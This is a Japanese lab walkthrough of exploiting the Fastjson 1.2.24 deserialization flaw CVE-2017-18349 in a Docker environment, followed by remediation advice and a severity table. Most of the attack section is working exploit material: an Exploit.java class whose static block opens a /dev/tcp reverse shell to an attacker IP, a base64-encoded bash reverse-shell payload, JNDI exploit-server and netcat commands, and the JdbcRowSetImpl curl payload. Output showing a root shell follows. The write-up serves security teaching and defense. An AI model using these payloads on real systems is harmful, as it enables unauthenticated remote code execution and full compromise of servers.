
CVE-2017-18349 Fastjson のデシリアライゼーション RCE エクスプロイトのステップバイステップのウォークスルー。攻撃対象面の特定、フィンガープリンティング、JNDI インジェクション、リバースシェル獲得をカバーし、Docker ラボ環境で行います。
まず、環境で何が実行されているかを確認します。アクティブなコンテナをすべてリストアップします。
docker ps

被害者はポート 8090 のみを公開している
現時点では、ターゲットについて完全には把握していません。docker ps の結果から、システムは外部に対してポート 8090 で 1 つの顕著なサービスのみを公開しており、これはコンテナの内部サービスにマッピングされています。これが分析すべき主な攻撃対象領域です。
⇒ 直接 Curl でプローブして詳細情報を取得します。
curl -i 192.168.3.137:8090/

レスポンスの分析:
Content-Type は application/json;charset=UTF-8 です。{"age": 25, "name": "Bob"}。⇒ 考察: ポート 8090 にアクセスすると、サーバーは JSON データを返します。これは、エンドポイントが単なる静的 Web ページを提供しているのではなく、リクエストを処理し、データを JSON にシリアライズしてクライアントに返すバックエンドがあることを示しています。docker ps の結果から、コンテナ内で実行されているコマンドは Java アプリケーションであることが示唆されるため、次の調査の方向性は、Java で一般的な JSON パーサーのフィンガープリンティングです。
Java では、Jackson、Gson、Fastjson などの一般的な JSON ライブラリは、異常な入力を受け取った際に異なる動作を示します。そのため、エラーベースのフィンガープリンティング技術を利用できます。返されるエラーから、ライブラリや内部処理メカニズムが直接明らかになることがあります。中でも Fastjson は、古いバージョンに AutoType デシリアライゼーションに関連する重大な脆弱性が複数存在するため、早期に検証する必要があるターゲットです。
ここでは、すぐにバックエンドが Fastjson を使用していると断言しません。Fastjson を最初の確認対象として選択したのは、@type キーを通じて明確なフィンガープリントが得られること、そしてもし古いバージョンの Fastjson であれば、標準的なパースエラーよりもはるかに強力な悪用が可能になり、RCE にまで至る可能性があるためです。
Fastjson にはフィンガープリンティングに非常に有用な特性があります。それは特別な @type キーを認識することです。バックエンドが Fastjson を使用しており、デシリアライズフローに送信されたリクエストボディが AutoType をサポートしている場合、パーサーは @type の値を Java クラス名として解釈しようと試みる可能性があります。
そこで、存在しないクラスを指す @type を含むペイロードを送信します。このステップの目的は即座に悪用することではなく、バックエンドが @type に反応するかどうかを観察することです。
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

もしバックエンドが標準的な JSON パーサーを使用しており、@type を気にしない場合、このフィールドは単に無視されるか、JSON 内の通常のキーとして扱われます。しかし、ここではバックエンドが型に関連する動作(型が一致しない)で反応しています。これは、リクエストがクラス/型マッピングの処理フローに入ったことを意味します。
"type not match" メッセージは、Fastjson が @type を処理する際に、指定されたクラスがエンドポイントが期待するデータ型と一致しないか、クラスが存在しない/デシリアライズが許可されていない場合によく遭遇する特徴的なシグネチャです。
⇒ 考察: バックエンドは実際に POST リクエストの JSON ボディを解析しており、@type フィールドは無視されず、パーサーは型メタデータ処理メカニズムを持ち、返されるエラーは Alibaba Fastjson の動作と一致します。したがって、バックエンドが Alibaba Fastjson を使用していると確信を持って結論付けることができます。
フィンガープリンティングのステップの後、すぐにシステムが悪用可能であると結論付けることはできません。バックエンドが Fastjson を使用していることは、JSON リクエストが @type 処理フローに入ることを証明するだけです。
RCE エクスプロイトを実行するには、以下を確認する必要があります:
⇒ 考察: type not match エラーは、バックエンドが @type に反応することを示していますが、現在のペイロードはエラーをトリガーするために偽のクラスを使用しているだけです。実際の悪用には、その偽のクラスを、JNDI ルックアップのようなアウトバウンド動作を生成できる Java/JDK に存在する実際のクラスに置き換える必要があります。
バージョンを特定するために、コンテナ/アプリケーション内で直接確認します。

アプリケーションが /usr/src/fastjsondemo.jar というファイルにパッケージ化されていることを特定した後、このパッケージ構造を詳細に分析し、JSON 処理ライブラリを検索します。BOOT-INF/lib/ ディレクトリ構造を確認すると、fastjson-1.2.24.jar ファイルが見つかります(図 X)。
1.2.24 というバージョンは、AutoType 防御メカニズムがなく、デシリアライゼーション脆弱性の影響を受ける最初で最も有名なバージョンです。このことから、システムが CVE-2017-18349 に対して脆弱であることを確認できます。
fastjson-1.2.24.jar が見つかったことで、アプリケーションが AutoType デシリアライゼーションの欠陥の影響を受けるグループに属する、非常に古いバージョンの Fastjson を使用していることが確認されました。このバージョンでは、後のバージョンのように AutoType に対する制御メカニズムが強化されていないため、ライブラリの条件に関しては、JdbcRowSetImpl などのガジェットクラスを通じた悪用が可能な状態です。
ただし、実際の悪用可能性は、エンドポイントが Fastjson をどのように呼び出すかにも依存します。アプリケーションが JSON を固定クラスにパースする場合、ルートオブジェクトに @type ペイロードを設定すると "type not match" エラーになる可能性があります。そのため、バージョンを特定した後も、JVM、ガジェットクラス、および LDAP コールバックの動作を分析し、悪用チェーンが実際に JNDI ルックアップに到達することを確認する必要があります。
1. JVM の障壁分析
Fastjson のバージョンに加えて、Java のバージョンも重要な決定要因です。コンテナ内の JVM を確認します:
java -version

これは重要な情報です。なぜなら、Fastjson の悪用チェーンは通常 JNDI インジェクションに依存しているからです。新しいバージョンの Java では、デフォルトで LDAP/RMI 経由での外部コードベースからのクラスロードがブロックされています。しかし、Java 8u102 はまだこれらのブロックメカニズムを持たない古いバージョンです。
したがって、攻撃者が JNDI ルックアップをトリガーできれば、被害者の JVM は外部 HTTP サーバーからクラスをダウンロードし、ランタイムにロードする機能を持っています。
古い Fastjson と JVM を特定した後、次のステップは JDK に存在し、デシリアライズ時に危険な動作を生成できるクラスを見つけることです。
com.sun.rowset.JdbcRowSetImpl は適切なガジェットです。このクラスは JDK に存在し、dataSourceName プロパティを持っています。dataSourceName に LDAP URL 形式の値が割り当てられると、オブジェクトはアウトバウンドの JNDI ルックアップをトリガーするために悪用される可能性があります。
⇒ 考察: サーバーに直接コードをアップロードする必要はありません。代わりに、JVM 内の既存のクラスを利用して、被害者に攻撃者が制御する LDAP サーバーへの接続を強制します。
ライブラリと JVM に関する必要な条件を確立した後、ペイロードが実際に被害者にアウトバウンド接続を強制するかどうかを検証する必要があります。これは、以下の区別をするための重要なステップです:
LDAP サーバーまたはリスナーが被害者からの接続を受信した場合、ペイロードが JNDI ルックアップのステップに正常に到達したことを証明します。コールバックがなく、サーバーが type not match を返す場合、現在のペイロードがエンドポイントのデシリアライズフローと一致していないことを示します。この場合、ペイロードをエンドポイントが解析する正確なオブジェクト構造に調整するか、代替のバイパスやガジェットを利用する必要があります。
上記のステップから、システムの状態チェーンは次のように要約できます:
@type によるエラーレスポンスは、バックエンドが型メタデータメカニズムを処理していることを示し、Fastjson の動作と一致します。fastjson-1.2.24.jar ライブラリをパッケージ化していることが確認されます。com.sun.rowset.JdbcRowSetImpl ガジェットは JDK に存在し、dataSourceName プロパティを介して JNDI ルックアップをトリガーするために悪用される可能性があります。⇒ 悪用の考え方:
ファイルアップロード機能やサーバーへの直接ファイル書き込みを見つける必要はありません。代わりに、Fastjson のデシリアライズフローを利用して、JVM に JdbcRowSetImpl オブジェクトをインスタンス化させます。このオブジェクトが LDAP URL 形式の dataSourceName を受け取ると、被害者は攻撃者が制御するサーバーに対して JNDI ルックアップを実行します。そこから、攻撃者は JVM をリダイレクトして外部 HTTP サーバーから悪意のあるクラスをダウンロードさせ、そのクラス内のコードを実行させることができます。
したがって、選択された悪用パスは次のとおりです:
Fastjson AutoType
→ JdbcRowSetImpl ガジェット
→ JNDI LDAP ルックアップ
→ Exploit.class を含む HTTP コードベース
→ 攻撃者へのリバースシェル
text
192.168.3.137 43928 からの接続を受信
whoami
root
Fastjson 1.2.24 では、com.sun.rowset.JdbcRowSetImpl クラスは JVM クラスパス(標準ライブラリ rt.jar に属する)に存在するガジェットクラスです。Fastjson がこのクラスを指す @type を含む JSON 文字列をデシリアライズすると:
JdbcRowSetImpl をインスタンス化します。setDataSourceName() セッターが呼び出され → JNDI アドレスが設定されます。setDataSourceName() は内部の InitialContext.lookup(dataSourceName) をトリガーします → JNDI インジェクション全体はここで発生し、setAutoCommit() が実行される前に行われます。Exploit.class ファイルをダウンロードし、メモリにロード → static {} ブロックを実行します。Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
被害者の JVM は Java 8u102 で動作しているため、コンパイル時にターゲットを Java 8 として指定する必要があります。指定しないと、被害者は UnsupportedClassVersionError をスローし、攻撃チェーンはサイレントに失敗します。その後、HTTP コードベースサーバーをセットアップします:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-Exploit を使用した JNDI Exploit サーバーのセットアップKali 環境は Java 25 で動作しており、marshalsec をビルドするには新しすぎるため、代わりに JNDI-Injection-Exploit ツールを使用します。まず、リバースシェルペイロードを base64 形式で作成します:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
上記のペイロードを使用して JNDI サーバーを起動します:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

ツールは自動的に LDAP エンドポイントを生成します:
ldap://192.168.3.114:1389/6bzjwg
リバースリスニングポートを開きます:
nc -lvnp 4444
ルートオブジェクトに @type ペイロードを配置すると type not match エラーが返されることがわかります。これは、Spring Boot コントローラが JSON を固定型にマッピングしており、ルートレベルで JdbcRowSetImpl と一致しないためです。
ペイロードの調整: ガジェットクラスをネストされたフィールド ("data":{...}) 内にラップすることで、Fastjson がコントローラの型制約とは独立してネストされたオブジェクトを処理するようにします:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

LDAP サーバー (marshalsec): 被害者の IP からの JNDI クエリリクエストが成功し、HTTP コードベースにリダイレクトされたことをログに記録。
HTTP サーバー (Python): 被害者の IP が Exploit.class ファイルをダウンロードするリクエストを、ステータスコード 200 OK でログに記録。JVM がバイトコードのロードに成功したことを証明。
Netcat リスナー: 対話型セッション(リバースシェル)の確立に成功:
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
完全な悪用チェーンが正常に検証されました: JSON ペイロードの送信 → JNDI ルックアップ → LDAP リファラル → リモートクラスのロード → static {} ブロック内のコード実行 → root 権限でのリバースシェルの確立、という一連の流れです。
このシステムにおける Fastjson デシリアライゼーション RCE 脆弱性 (CVE-2017-18349) は、最高の重大度レベルと評価されます:
この脆弱性を完全に解決するには、以下の優先順位で措置を実施する必要があります:
1.2.83) に更新します。バージョン 1.2.25 以降では、autoType 機能が デフォルトで無効 になり、厳格なブラックリストメカニズムが追加されました。これにより、CVE-2017-18349 の攻撃ベクトルは直接除去されます。または、より保守性の高い代替ライブラリ(Jackson や Gson など)への移行を検討してください。com.sun.jndi.ldap.object.trustURLCodebase プロパティはデフォルトで false に設定されます。これにより、LDAP/RMI 経由での JVM によるリモートクラスの自動ロードが完全にブロックされ、Fastjson にまだ脆弱性が存在しても JNDI インジェクションチェーンが機能しなくなります。root ユーザーで実行しないでください。最小権限を持つ専用ユーザー(例: app_user)を作成します。攻撃者が RCE を達成しても、被害はそのユーザーの権限範囲に限定されます。SafeMode を有効にして autoType を完全にオフにします:ParserConfig.getGlobalInstance().setSafeMode(true);
または、許可するクラスのみをデシリアライズできるようにする、厳格なホワイトリストを確立します。
@type、JdbcRowSetImpl、dataSourceName、ldap://、rmi://)を含む HTTP リクエストを検出およびブロックします。-network および iptables ルールを構成します。| 評価基準 | 評価 | 詳細 |
|---|
| CVSS スコア | 9.8 (Critical) | 非常に高いリスクレベル。絶対値の 10.0 より低いのは、特別なネットワークアクセスを必要としないためです。 |
| 認証 | 不要 | 攻撃者はエクスプロイトのためにアカウントや資格情報を必要としません。HTTP リクエストを送信できる人なら誰でも攻撃可能です。 |
| 複雑性 | 非常に低い | 有効な JSON ペイロードを含む単一の HTTP POST リクエストを送信するだけで済みます。複雑なツールや特別な条件は必要ありません。 |
| JVM 保護 | なし | Java 8u102 にはリモートクラスのロードをブロックするメカニズムがありません (trustURLCodebase はデフォルトで true)。そのため、JNDI インジェクション → リモートクラスローディングのチェーン全体が阻害なく機能します。 |
| 取得される権限 | root | 最上位権限でアプリケーションコンテナを完全に制御可能。/etc/shadow を含む任意のファイルの読み取り/書き込み/削除が可能です。 |
| 横展開 | 高い | 侵害されたコンテナから、攻撃者は内部ネットワーク (172.19.0.0/16) をスキャンし、同じ Docker ネットワーク project1_default 内の他のコンテナを攻撃できます。 |